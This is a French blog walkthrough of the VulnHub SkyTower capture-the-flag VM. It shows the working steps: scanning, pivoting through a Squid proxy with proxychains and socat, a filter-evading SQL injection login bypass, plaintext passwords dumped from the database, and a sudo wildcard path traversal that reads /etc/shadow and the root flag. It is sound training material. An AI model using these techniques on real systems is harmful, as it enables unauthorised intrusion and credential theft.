Accueil Solution du CTF SkyTower de VulnHub
Post
Annuler

Solution du CTF SkyTower de VulnHub

In(tro)duction

SkyTower est le petit dernier (au moment de ces lignes) des CTF présents sur VulnHub. Il s’agit d’une VM Debian 64 bits. On dispose d’un disque virtuel au format VDI ainsi qu’un fichier vbox contenant différentes informations (comme l’adresse MAC originale).

La seule description du CTF est la suivante :

1
This was used at a local CTF security conference.

Ignition

1
2
3
4
5
6
7
8
9
10
Nmap scan report for 192.168.1.84
Host is up (0.00021s latency).
Not shown: 997 closed ports
PORT     STATE    SERVICE    VERSION
22/tcp   filtered ssh
80/tcp   open     http       Apache httpd 2.2.22 ((Debian))
|_http-title: Site doesn't have a title (text/html).
3128/tcp open     http-proxy Squid http proxy 3.1.20
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: ERROR: The requested URL could not be retrieved

Qui dit proxy dit potentiellement CONNECT permettant d’accéder à des ports internes (écoutant sur le loopback).

J’ai récupéré proxychains mais ce dernier ne compile pas car le code n’est pas à jour :(

Une recherche sur GitHub permet de trouver plusieurs versions forkées. Je me suis arrêté tout de suite sur proxychains-ng car le nom semblait prometteur.

Une fois compilé, on modifie l’entrée [ProxyList] du fichier src/proxychains.conf pour la ligne suivante :

1
http 192.168.1.84 3128

On fait passer nmap par le proxy Squid :

1
2
3
4
5
6
$ ./proxychains4 -f src/proxychains.conf nmap -p- -sT 127.0.0.1
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00070s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
22/tcp open  ssh

On ne récupère que l’accès au SSH précédemment filtré. Ça nous servira sans doute plus tard.

Mach 10

Un petit scan avec Wapiti permet de trouver une faille d’injection SQL sur la page de login renvoyée par le serveur Apache (nb: le mot clé common est présent dans la version de dév, pas dans la version stable actuelle) :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ./bin/wapiti http://192.168.1.84/ -m "common,nikto,backup,htaccess"

[+] Lancement du module sql
Injection MySQL dans http://192.168.1.84/login.php via une injection dans le paramètre email
Evil request:
POST /login.php HTTP/1.1
Host: 192.168.1.84
Referer: http://192.168.1.84/
Content-Type: application/x-www-form-urlencoded

email=%BF%27%22%28&password=letmein

Injection MySQL dans http://192.168.1.84/login.php via une injection dans le paramètre password
Evil request:
POST /login.php HTTP/1.1
Host: 192.168.1.84
Referer: http://192.168.1.84/
Content-Type: application/x-www-form-urlencoded

email=default&password=%BF%27%22%28

Malheureusement sqlmap se casse les dents sur cette faille. On va devoir étudier ça nous même.

Si on tente de bypasser l’authentification (saisie de ’ or 1=1# dans le champ email) on obtient l’erreur suivante :

1
2
3
There was an error running the query [You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the right
syntax to use near '11#' and password=''' at line 1]

Il semble que certains mots clés soient directement retirés de la chaîne que l’on a passé.

Même chose avec ’ or 1 or 1;# :

1
... near '1 1;#' and password='''

et avec une tentative d’union (’ union select 1,1;#) :

1
... near '11;#' and password='''

Le script a l’air de retirer les OR, AND, virgules, égal et potentiellement d’autres caractères. Heureusement MySQL supporte une autre réprésentation de l’opérateur OR. On peut finalement bypasser l’authentification en saisissant l’email suivant :

1
' || 1;#

Ce qui nous donne la page suivante :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Welcome john@skytech.com

As you may know, SkyTech has ceased all international operations.

To all our long term employees, we wish to convey our thanks for your dedication and hard work.

Unfortunately, all international contracts, including yours have been terminated.

The remainder of your contract and retirement fund, $2 ,has been payed out in full to a secure account.
For security reasons, you must login to the SkyTech server via SSH to access the account details.

Username: john
Password: hereisjohn 

We wish you the best of luck in your future endeavors.

Atterissage

Maintenant avec des identifiants SSH en main, on ouvre un tunnel passant par le proxy Squid à l’aide de socat :

1
socat TCP-LISTEN:9999,reuseaddr,fork PROXY:192.168.1.84:127.0.0.1:22,proxyport=3128

La connection passe (presque) comme dans du beurre :

1
2
3
4
5
6
$ ssh john@127.0.0.1 -p 9999
john@127.0.0.1's password: 
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64

Funds have been withdrawn
Connection to 127.0.0.1 closed.

Essayons de faire exécuter une autre commande :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ssh john@127.0.0.1 -p 9999 /bin/bash
john@127.0.0.1's password: 
id
uid=1000(john) gid=1000(john) groups=1000(john)
tail .bashrc
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

echo
echo  "Funds have been withdrawn"
exit

C’est donc le .bashrc qui nous éjecte. Il suffit de le déplacer pour ne plus avoir à sans soucier.

1
2
john@SkyTower:~$ uname -a
Linux SkyTower 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 GNU/Linux

En dehors des utilisateurs habituels on trouve trois personnes dans /etc/passwd :

1
2
3
john:x:1000:1000:john,,,:/home/john:/bin/bash
sara:x:1001:1001:,,,:/home/sara:/bin/bash
william:x:1002:1002:,,,:/home/william:/bin/bash

La liste des processus, services, crontab, setuids, setgids ne donne rien d’intéressant. Je décide de m’intéresser à la base de données MySQL.

D’abord récupérer les identifiants dans /var/www/login.php :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

$db = new mysqli('localhost', 'root', 'root', 'SkyTech');

if($db->connect_errno > 0){
    die('Unable to connect to database [' . $db->connect_error . ']');

}

$sqlinjection = array("SELECT", "TRUE", "FALSE", "--","OR", "=", ",", "AND", "NOT");
$email = str_ireplace($sqlinjection, "", $_POST['email']);
$password = str_ireplace($sqlinjection, "", $_POST['password']);

$sql= "SELECT * FROM login where email='".$email."' and password='".$password."';";
$result = $db->query($sql);

if(!$result)
    die('There was an error running the query [' . $db->error . ']');
if($result->num_rows==0)
    die('<br>Login Failed</br>');
// --- snip ---

On remarque au passage le filtrage qui est effectué.

On trouve les trois users du système dans la BDD :

1
2
3
4
5
6
7
8
mysql> select * from login;
+----+---------------------+--------------+
| id | email               | password     |
+----+---------------------+--------------+
|  1 | john@skytech.com    | hereisjohn   |
|  2 | sara@skytech.com    | ihatethisjob |
|  3 | william@skytech.com | senseable    |
+----+---------------------+--------------+

Le mot de passe de sara est valide sur le système mais là encore un .bashrc nous éjecte.

J’édite le .bashrc via su -c vi sara (puis :e .bashrc depuis Vi) pour retirer les lignes qui posent problème.

Mission accomplished

sara a une autorisation spéciale sudo pour consulter le contenu de /accounts (qui est vide) :

1
2
3
4
5
6
sara@SkyTower:~$ sudo -l
Matching Defaults entries for sara on this host:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sara may run the following commands on this host:
    (root) NOPASSWD: /bin/cat /accounts/*, (root) /bin/ls /accounts/*

Seulement l’astérisque est pour le moins permissif et permet de remonter l’arborescence :

1
2
3
4
5
6
sara@SkyTower:/var/www$ sudo /bin/cat /accounts/../etc/shadow
root:$6$rKYhh57q$AVs1wNVSbE5K.IU1Wp9l7Ndg3iPlB7yczctQD6OL9fBZir2ppGDA6v0Vx17xjg.b3zu6mkAVpEN2BuG3wvS2l/:16241:0:99999:7:::
--- snip ---
john:$6$a39powbs$ditVKZ1waa6vJEh3BG1d5jLv/uADKcl.r1kcA.XKyhNfJoiDhSdwmSZel3V5cZ/S6ec3wd8rdNA2dOznTXhl0/:16198:0:99999:7:::
sara:$6$2PvpHNG0$hbaMRd5fZhWMDHyyhGHINSy.qBHnvP4QW1k9RSwv.pQM6SoZey53C7S7aF6263ae6qx5TwVA6sahf5tebUqvY1:16198:0:99999:7:::
william:$6$c3VykdoT$qRUKl1e77skTm0sLHavRSp8mUJfMIPrJBovrXC8o9GY8/P7gpasSbvtqA0rn9.HyxjKhSVji8/CzHNFLit3GU1:16241:0:99999:7:::

Qu’il-y a t-il dans /root ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sara@SkyTower:~$ sudo /bin/ls /accounts/../root/ -al
total 36
drwx------  4 root root 4096 Jun 20 09:01 .
drwxr-xr-x 24 root root 4096 Jun 20 07:52 ..
drwx------  2 root root 4096 Jun 20 08:24 .aptitude
-rw-------  1 root root  204 Jun 20 09:01 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rwx------  1 root root   69 Jun 20 08:59 flag.txt
-rw-------  1 root root  268 Jun 20 07:42 .mysql_history
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
drwx------  2 root root 4096 Jun 20 07:48 .ssh

sara@SkyTower:~$ sudo /bin/cat /accounts/../root/flag.txt
Congratz, have a cold one to celebrate!
root password is theskytower

Game over !

Published June 29 2014 at 17:30

Cet article est sous licence CC BY 4.0 par l'auteur.